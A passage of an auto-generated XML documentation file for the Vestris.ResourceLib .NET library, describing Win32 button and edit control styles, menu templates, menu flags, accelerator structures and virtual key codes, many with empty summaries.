name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_COMMANDLINK\">\n            <summary>\n            Microsoft Windows Vista and Version 6.00. Creates a command link button that behaves like a\n            BS_PUSHBUTTON style button, but the command link button has a green arrow on the left pointing\n            to the button text. A caption for the button text can be set by sending the BCM_SETNOTE\n            message to the button.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_DEFCOMMANDLINK\">\n            <summary>\n            Microsoft Windows Vista and Version 6.00. Creates a command link button that behaves like\n            a BS_PUSHBUTTON style button. If the button is in a dialog box, the user can select the \n            command link button by pressing the ENTER key, even when the command link button does\n            not have the input focus. This style is useful for enabling the user to quickly select\n            the most likely (default) option.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.User32.EditControlStyles\">\n            <summary>\n            Edit control styles.\n            http://msdn.microsoft.com/en-us/library/bb775464(VS.85).aspx\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.EditControlStyles.ES_LEFT\">\n            <summary>\n            Aligns text with the left margin.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.EditControlStyles.ES_CENTER\">\n            <summary>\n            Windows 98/Me, Windows 2000/XP: Centers text in a single-line or multiline edit control.\n            Windows 95, Windows NT 4.0 and earlier: Centers text in a multiline edit control.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.EditControlStyles.ES_RIGHT\">\n            <summary>\n            Windows 98/Me, Windows 2000/XP: Right-aligns text in a single-line or multiline edit control.\n            Windows 95, Windows NT 4.0 and earlier: Right aligns text in a multiline edit control.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.EditControlStyles.ES_MULTILINE\">\n            <summary>\n            Designates a multiline edit control. The default is single-line edit control. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.EditControlStyles.ES_UPPERCASE\">\n            <summary>\n            Converts all characters to uppercase as they are typed into the edit control. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.EditControlStyles.ES_LOWERCASE\">\n            <summary>\n            Converts all characters to lowercase as they are typed into the edit control.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.EditControlStyles.ES_PASSWORD\">\n            <summary>\n            Displays an asterisk (*) for each character typed into the edit control. \n            This style is valid only for single-line edit controls. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.EditControlStyles.ES_AUTOVSCROLL\">\n            <summary>\n            Automatically scrolls text up one page when the user presses the ENTER key on \n            the last line.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.EditControlStyles.ES_AUTOHSCROLL\">\n            <summary>\n            Automatically scrolls text to the right by 10 characters when the user types\n            a character at the end of the line. When the user presses the ENTER key, \n            the control scrolls all text back to position zero.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.EditControlStyles.ES_NOHIDESEL\">\n            <summary>\n            Negates the default behavior for an edit control. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.EditControlStyles.ES_OEMCONVERT\">\n            <summary>\n            Converts text entered in the edit control.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.EditControlStyles.ES_READONLY\">\n            <summary>\n            Prevents the user from typing or editing text in the edit control.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.EditControlStyles.ES_WANTRETURN\">\n            <summary>\n            Specifies that a carriage return be inserted when the user presses the \n            ENTER key while entering text into a multiline edit control in a dialog box. \n            If you do not specify this style, pressing the ENTER key has the same effect\n            as pressing the dialog box's default push button. This style has no effect \n            on a single-line edit control. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.EditControlStyles.ES_NUMBER\">\n            <summary>\n            Allows only digits to be entered into the edit control. \n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.User32.MENUTEMPLATE\">\n            <summary>\n            Defines the header for a menu template. \n            A complete menu template consists of a header and one or more menu item lists. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MENUTEMPLATE.wVersion\">\n            <summary>\n            Specifies the version number. This member must be zero. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MENUTEMPLATE.wOffset\">\n            <summary>\n            Specifies the offset, in bytes, from the end of the header. \n            The menu item list begins at this offset. Usually, this member is zero, and the menu \n            item list follows immediately after the header. \n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.User32.MENUITEMTEMPLATE\">\n            <summary>\n            Defines a menu item in a menu template.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MENUITEMTEMPLATE.mtOption\">\n            <summary>\n            Specifies one or more of the following predefined menu options that control the appearance of the menu item.\n             TODO\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.User32.MENUEXTEMPLATE\">\n            <summary>\n            Defines the header for an extended menu template.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MENUEXTEMPLATE.wVersion\">\n            <summary>\n            Template version number. This member must be 1 for extended menu templates.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MENUEXTEMPLATE.wOffset\">\n            <summary>\n            Offset of the first MENUEXITEMTEMPLATE structure, relative to the end of \n            this structure member. If the first item definition immediately follows the \n            dwHelpId member, this member should be 4. \n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.User32.MENUEXITEMTEMPLATE\">\n            <summary>\n            Drop-down menu or submenu item.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MENUEXITEMTEMPLATE.dwType\">\n            <summary>\n            Menu item type. This member can be a combination of the type (beginning with MFT) values \n            listed with the MENUITEMINFO structure. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MENUEXITEMTEMPLATE.dwState\">\n            <summary>\n            Menu item state. This member can be a combination of the state (beginning with MFS) values \n            listed with the MENUITEMINFO structure. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MENUEXITEMTEMPLATE.dwMenuId\">\n            <summary>\n            Menu item identifier. This is an application-defined value that identifies the menu item. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MENUEXITEMTEMPLATE.bResInfo\">\n            <summary>\n            Value specifying whether the menu item is the last item in the menu bar, drop-down menu, \n            submenu, or shortcut menu and whether it is an item that opens a drop-down menu or submenu.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.User32.MenuFlags\">\n            <summary>\n            Specifies one or more of the following predefined menu options that control the \n            appearance of the menu item.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MF_INSERT\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MF_CHANGE\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MF_APPEND\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MF_DELETE\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MF_REMOVE\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MF_BYCOMMAND\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MF_BYPOSITION\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MF_SEPARATOR\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MF_ENABLED\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MF_GRAYED\">\n            <summary>\n            Indicates that the menu item is initially inactive and drawn with a gray effect.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MF_DISABLED\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MF_UNCHECKED\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MF_CHECKED\">\n            <summary>\n            Indicates that the menu item has a check mark next to it.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MF_USECHECKBITMAPS\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MF_STRING\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MF_BITMAP\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MF_OWNERDRAW\">\n            <summary>\n            Indicates that the owner window of the menu is responsible for drawing all visual \n            aspects of the menu item, including highlighted, selected, and inactive states. \n            This option is not valid for an item in a menu bar.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MF_POPUP\">\n            <summary>\n            Indicates that the item is one that opens a drop-down menu or submenu.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MF_MENUBARBREAK\">\n            <summary>\n            Indicates that the menu item is placed in a new column. The old and new columns \n            are separated by a bar.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MF_MENUBREAK\">\n            <summary>\n            Indicates that the menu item is placed in a new column.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MF_UNHILITE\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MF_HILITE\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MF_DEFAULT\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MF_SYSMENU\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MF_HELP\">\n            <summary>\n            Indicates that the menu item has a vertical separator to its left.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MF_RIGHTJUSTIFY\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MF_MOUSESELECT\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MF_END\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MFT_STRING\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MFT_BITMAP\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MFT_MENUBARBREAK\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MFT_MENUBREAK\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MFT_OWNERDRAW\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MFT_RADIOCHECK\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MFT_SEPARATOR\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MFT_RIGHTORDER\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MFT_RIGHTJUSTIFY\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MFS_GRAYED\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MFS_DISABLED\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MFS_CHECKED\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MFS_HILITE\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MFS_ENABLED\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MFS_UNCHECKED\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MFS_UNHILITE\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MFS_DEFAULT\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.User32.MenuResourceType\">\n            <summary>\n            Specifies whether the menu item is the last item in the menu bar, drop-down menu, submenu, or shortcut \n            menu and whether it is an item that opens a drop-down menu or submenu. This member can be zero or more \n            of these values.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuResourceType.Last\">\n            <summary>\n            Defines the last menu item in the menu bar, drop-down menu, submenu, or shortcut menu.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuResourceType.Sub\">\n            <summary>\n            Defines a item that opens a drop-down menu or submenu. Subsequent structures define menu \n            items in the corresponding drop-down menu or submenu.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.User32.ACCEL\">\n            <summary>\n            Defines an accelerator key used in an accelerator table.\n            http://msdn.microsoft.com/en-us/library/ms646340(VS.85).aspx\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ACCEL.fVirt\">\n            <summary>\n            Accelerator flags.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ACCEL.key\">\n            <summary>\n            Accelerator key. This member can be either a virtual-key code or an ASCII character code. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ACCEL.cmd\">\n            <summary>\n            Accelerator identifier.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.User32.AcceleratorVirtualKey\">\n            <summary>\n            Flags, fVirt field of the Accelerator table structure.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.AcceleratorVirtualKey.VIRTKEY\">\n            <summary>\n            Virtual key.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.AcceleratorVirtualKey.NOINVERT\">\n            <summary>\n            Specifies that no top-level menu item is highlighted when the accelerator is used. \n            This is useful when defining accelerators for actions such as scrolling that do not \n            correspond to a menu item. If NOINVERT is omitted, a top-level menu item will be \n            highlighted (if possible) when the accelerator is used.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.AcceleratorVirtualKey.SHIFT\">\n            <summary>\n            Causes the accelerator to be activated only if the SHIFT key is down. \n            Applies only to virtual keys.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.AcceleratorVirtualKey.CONTROL\">\n            <summary>\n            Causes the accelerator to be activated only if the CONTROL key is down. \n            Applies only to virtual keys.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.AcceleratorVirtualKey.ALT\">\n            <summary>\n            Causes the accelerator to be activated only if the ALT key is down. \n            Applies only to virtual keys.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.User32.VirtualKeys\">\n            <summary>\n            Virtual key definitions.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_LBUTTON\">\n            <summary>\n            Standard virtual left mouse button.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_RBUTTON\">\n            <summary>\n            Standard virtual right mouse button.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_CANCEL\">\n            <summary>\n            Ctrl-Break / Ctrl-C.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_MBUTTON\">\n            <summary>\n            Standard virtual middle mouse button.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_XBUTTON1\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_XBUTTON2\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_BACK\">\n            <summary>\n            Backspace.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_TAB\">\n            <summary>\n            Tab.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_CLEAR\">\n            <summary>\n            Delete.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_RETURN\">\n            <summary>\n            Return.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_SHIFT\">\n            <summary>\n            Shift.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_CONTROL\">\n            <summary>\n            Control.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_MENU\">\n            <summary>\n            Menu.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_PAUSE\">\n            <summary>\n            Pause.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_CAPITAL\">\n            <summary>\n            Caps lock.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_KANA\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_JUNJA\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_FINAL\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_KANJI\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_ESCAPE\">\n            <summary>\n            Escape.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_CONVERT\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_NONCONVERT\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_ACCEPT\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_MODECHANGE\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_SPACE\">\n            <summary>\n            Space.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_PRIOR\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_NEXT\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_END\">\n            <summary>\n            End.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_HOME\">\n            <summary>\n            Home.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_LEFT\">\n            <summary>\n            Left arrow.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_UP\">\n            <summary>\n            Up arrow.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_RIGHT\">\n            <summary>\n            Right arrow.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_DOWN\">\n            <summary>\n            Down arrow.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_SELECT\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_PRINT\">\n            <summary>\n            Print Screen.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_EXECUTE\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_SNAPSHOT\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_INSERT\">\n            <summary>\n            Insert.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_DELETE\">\n            <summary>\n            Delete.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_HELP\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_LWIN\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_RWIN\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_APPS\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_SLEEP\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_NUMPAD0\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_NUMPAD1\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_NUMPAD2\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_NUMPAD3\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_NUMPAD4\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_NUMPAD5\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_NUMPAD6\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_NUMPAD7\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_NUMPAD8\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_NUMPAD9\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_MULTIPLY\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_ADD\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_SEPARATOR\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_SUBTRACT\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_DECIMAL\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_DIVIDE\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_F1\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_F2\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_F3\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_F4\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_F5\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_F6\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_F7\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_F8\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_F9\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_F10\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_F11\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_F12\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_F13\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_F14\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_F15\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_F16\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_F17\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_F18\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_F19\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_F20\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_F21\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_F22\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_F23\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_F24\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_NUMLOCK\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_SCROLL\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_NEC_EQUAL\">\n            <summary>\n            NEC PC-9800 keyboard '=' key on numpad.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_FJ_JISHO\">\n            <summary>\n            Fujitsu/OASYS keyboard 'Dictionary' key.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_FJ_MASSHOU\">\n            <summary>\n            Fujitsu/OASYS keyboard 'Unregister word' key.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_FJ_TOUROKU\">\n            <summary>\n            Fujitsu/OASYS keyboard 'Register word' key.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_FJ_LOYA\">\n            <summary>\n            Fujitsu/OASYS keyboard 'Left OYAYUBI' key.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_FJ_ROYA\">\n            <summary>\n            Fujitsu/OASYS keyboard 'Right OYAYUBI' key.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_LSHIFT\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_RSHIFT\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_LCONTROL\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_RCONTROL\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_LMENU\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_RMENU\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_BROWSER_BACK\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member 